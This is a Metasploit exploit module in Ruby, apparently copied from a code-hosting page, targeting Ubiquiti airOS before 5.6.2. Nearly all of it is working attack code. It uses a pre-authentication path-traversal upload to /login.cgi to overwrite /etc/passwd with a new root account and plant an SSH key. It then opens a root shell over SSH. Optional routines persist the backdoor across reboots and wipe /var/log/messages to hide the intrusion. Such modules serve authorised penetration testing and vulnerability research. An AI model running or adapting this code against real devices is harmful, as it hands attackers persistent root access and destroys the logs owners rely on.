253 lines
6.5 KiB
Ruby
253 lines
6.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
# See note about overwritten files
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::SSH
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Ubiquiti airOS Arbitrary File Upload',
|
|
'Description' => %q{
|
|
This module exploits a pre-auth file upload to install a new root user
|
|
to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.
|
|
|
|
FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.
|
|
/etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.
|
|
|
|
This method is used by the "mf" malware infecting these devices.
|
|
},
|
|
'Author' => [
|
|
'93c08539', # Vulnerability discovery
|
|
'wvu' # Metasploit module
|
|
],
|
|
'References' => [
|
|
%w{EDB 39701},
|
|
%w{URL https://hackerone.com/reports/73480}
|
|
],
|
|
'DisclosureDate' => 'Feb 13 2016',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Privileged' => true,
|
|
'Payload' => {
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd_interact',
|
|
'ConnectionType' => 'find'
|
|
}
|
|
},
|
|
'Targets' => [
|
|
['Ubiquiti airOS < 5.6.2', {}]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'SSL' => true
|
|
}
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(443),
|
|
OptPort.new('SSH_PORT', [true, 'SSH port', 22])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptBool.new('PERSIST_ETC', [false, 'Persist in /etc/persistent', false]),
|
|
OptBool.new('WIPE_LOGS', [false, 'Wipe /var/log/messages', false]),
|
|
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
|
|
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
print_status('Uploading /etc/passwd')
|
|
upload_etc_passwd
|
|
print_status('Uploading /etc/dropbear/authorized_keys')
|
|
upload_authorized_keys
|
|
print_status("Logging in as #{username}")
|
|
vprint_status("Password: #{password}")
|
|
vprint_status("Private key:\n#{private_key}")
|
|
if (ssh = ssh_login)
|
|
print_good("Logged in as #{username}")
|
|
handler(ssh.lsock)
|
|
end
|
|
end
|
|
|
|
def on_new_session(session)
|
|
super
|
|
if datastore['PERSIST_ETC']
|
|
print_status('Persisting in /etc/persistent')
|
|
persist_etc(session)
|
|
end
|
|
if datastore['WIPE_LOGS']
|
|
print_status('Wiping /var/log/messages')
|
|
wipe_logs(session)
|
|
end
|
|
end
|
|
|
|
def upload_etc_passwd
|
|
mime = Rex::MIME::Message.new
|
|
mime.add_part(etc_passwd, 'text/plain', 'binary',
|
|
'form-data; name="passwd"; filename="../../etc/passwd"')
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => '/login.cgi',
|
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
|
'data' => mime.to_s
|
|
)
|
|
end
|
|
|
|
def upload_authorized_keys
|
|
mime = Rex::MIME::Message.new
|
|
mime.add_part(authorized_keys, 'text/plain', 'binary',
|
|
'form-data; name="authorized_keys"; ' \
|
|
'filename="../../etc/dropbear/authorized_keys"')
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => '/login.cgi',
|
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
|
'data' => mime.to_s
|
|
)
|
|
end
|
|
|
|
def ssh_login
|
|
factory = ssh_socket_factory
|
|
|
|
ssh_opts = {
|
|
port: datastore['SSH_PORT'],
|
|
auth_methods: %w{publickey password},
|
|
key_data: [private_key],
|
|
non_interactive: true,
|
|
config: false,
|
|
use_agent: false,
|
|
proxy: factory
|
|
}
|
|
|
|
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
|
|
|
begin
|
|
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
|
Net::SSH.start(rhost, username, ssh_opts)
|
|
end
|
|
rescue Net::SSH::Exception => e
|
|
vprint_error("#{e.class}: #{e.message}")
|
|
return nil
|
|
end
|
|
|
|
if ssh
|
|
report_vuln(
|
|
host: rhost,
|
|
name: self.name,
|
|
refs: self.references,
|
|
info: ssh.transport.server_version.version
|
|
)
|
|
store_valid_credential(
|
|
user: username,
|
|
private: private_key,
|
|
private_type: :ssh_key
|
|
)
|
|
return Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
# This is for store_valid_credential above
|
|
def service_details
|
|
super.merge(
|
|
port: datastore['SSH_PORT'],
|
|
service_name: 'ssh'
|
|
)
|
|
end
|
|
|
|
#
|
|
# Persistence and cleanup methods
|
|
#
|
|
|
|
def persist_etc(session)
|
|
mime = Rex::MIME::Message.new
|
|
mime.add_part(rc_poststart, 'text/plain', 'binary',
|
|
'form-data; name="rc.poststart"; ' \
|
|
'filename="../../etc/persistent/rc.poststart"')
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => '/login.cgi',
|
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
|
'data' => mime.to_s
|
|
)
|
|
|
|
# http://www.hwmn.org/w/Ubiquity_HOWTO
|
|
commands = [
|
|
"mkdir #{username}",
|
|
"cp /etc/passwd /etc/dropbear/authorized_keys #{username}",
|
|
'cfgmtd -wp /etc'
|
|
]
|
|
|
|
commands.each do |command|
|
|
session.shell_command_token(command)
|
|
end
|
|
end
|
|
|
|
def wipe_logs(session)
|
|
session.shell_command_token('> /var/log/messages')
|
|
end
|
|
|
|
#
|
|
# /etc/passwd methods
|
|
#
|
|
|
|
def etc_passwd
|
|
"#{username}:#{crypt(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
|
|
end
|
|
|
|
def crypt(password)
|
|
# http://man7.org/linux/man-pages/man3/crypt.3.html
|
|
salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './')
|
|
password.crypt(salt)
|
|
end
|
|
|
|
def username
|
|
@username ||= Rex::Text.rand_text_alpha_lower(8)
|
|
end
|
|
|
|
def password
|
|
@password ||= Rex::Text.rand_text_alphanumeric(8)
|
|
end
|
|
|
|
#
|
|
# /etc/dropbear/authorized_keys methods
|
|
#
|
|
|
|
def authorized_keys
|
|
pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
|
|
"#{ssh_keygen.ssh_type} #{pubkey}\n"
|
|
end
|
|
|
|
def private_key
|
|
ssh_keygen.to_pem
|
|
end
|
|
|
|
def ssh_keygen
|
|
@ssh_keygen ||= OpenSSL::PKey::RSA.new(2048)
|
|
end
|
|
|
|
#
|
|
# /etc/persistent/rc.poststart methods
|
|
#
|
|
|
|
def rc_poststart
|
|
<<EOF
|
|
cp /etc/persistent/#{username}/passwd /etc/passwd
|
|
cp /etc/persistent/#{username}/authorized_keys /etc/dropbear/authorized_keys
|
|
EOF
|
|
end
|
|
end
|